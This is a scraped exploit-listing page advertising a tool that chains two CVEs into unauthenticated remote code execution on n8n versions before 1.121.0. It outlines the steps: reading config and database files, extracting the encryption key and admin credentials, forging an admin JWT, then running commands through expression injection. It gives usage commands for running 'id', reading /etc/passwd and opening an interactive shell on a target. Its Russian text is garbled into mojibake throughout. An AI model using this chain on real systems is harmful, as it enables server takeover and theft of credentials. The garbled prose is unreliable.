## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SEC-DOJO-COM-CVE-2026-21858
# CVE-2026-21858 + CVE-2025-68613 - ΠΠΊΡΠΏΠ»ΠΎΠΉΡ RCE Π΄Π»Ρ n8n
ΠΠ΅Π°ΡΡΠ΅Π½ΡΠΈΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½Π°Ρ ΡΠ΅ΠΏΠΎΡΠΊΠ° RCE Π΄Π»Ρ n8n < 1.121.0 (CVSS 10.0)
## Π¦Π΅ΠΏΠΎΡΠΊΠ° Π°ΡΠ°ΠΊΠΈ
1. **CVE-2026-21858** \- ΠΡΡΠ°Π½ΠΈΡΠ° Content-Type β ΡΡΠ΅Π½ΠΈΠ΅ `/home/node/.n8n/config` ΠΈ `database.sqlite`
2. ΠΠ·Π²Π»Π΅ΡΠ΅Π½ΠΈΠ΅ ΠΊΠ»ΡΡΠ° ΡΠΈΡΡΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΡΡΡΡΠ½ΡΡ
Π΄Π°Π½Π½ΡΡ
Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ° ΠΈΠ· ΡΠ°ΠΉΠ»ΠΎΠ²
3. ΠΠΎΠ΄Π΄Π΅Π»ΠΊΠ° JWT-ΡΠΎΠΊΠ΅Π½Π° Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
4. **CVE-2025-68613** \- ΠΠ½ΡΠ΅ΠΊΡΠΈΡ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠΉ β Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ ΡΠ΅ΡΠ΅Π· `child_process`
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
root@kitploit:~
# ΠΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ
python3 exploit.py http://target:5678 /form/test --cmd "id"
# ΠΡΠΎΡΠΈΡΠ°ΡΡ ΡΠ°ΠΉΠ»
python3 exploit.py http://target:5678 /form/test --read /etc/passwd
# ΠΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠ²Π½Π°Ρ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠ°
python3 exploit.py http://target:5678 /form/test
## Π’ΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΡ
Π¦Π΅Π»Ρ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΈΠΌΠ΅ΡΡ Π°ΠΊΡΠΈΠ²Π½ΡΠΉ ΡΠ°Π±ΠΎΡΠΈΠΉ ΠΏΡΠΎΡΠ΅ΡΡ Ρ:
* Π£Π·Π»ΠΎΠΌ Form Trigger Ρ ΠΏΠΎΠ»Π΅ΠΌ Π·Π°Π³ΡΡΠ·ΠΊΠΈ ΡΠ°ΠΉΠ»Π°
* Π£Π·Π»ΠΎΠΌ Respond to Webhook, Π²ΠΎΠ·Π²ΡΠ°ΡΠ°ΡΡΠΈΠΌ Π±ΠΈΠ½Π°ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅
* ΠΡΠ±Π»ΠΈΡΠ½ΠΎ Π΄ΠΎΡΡΡΠΏΠ½ΠΎΠΉ ΠΊΠΎΠ½Π΅ΡΠ½ΠΎΠΉ ΡΠΎΡΠΊΠΎΠΉ ΡΠΎΡΠΌΡ
## Π‘ΡΡΠ»ΠΊΠΈ
* Cyera Research - Ni8mare
* ΠΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ ΠΎΡ Chocapikk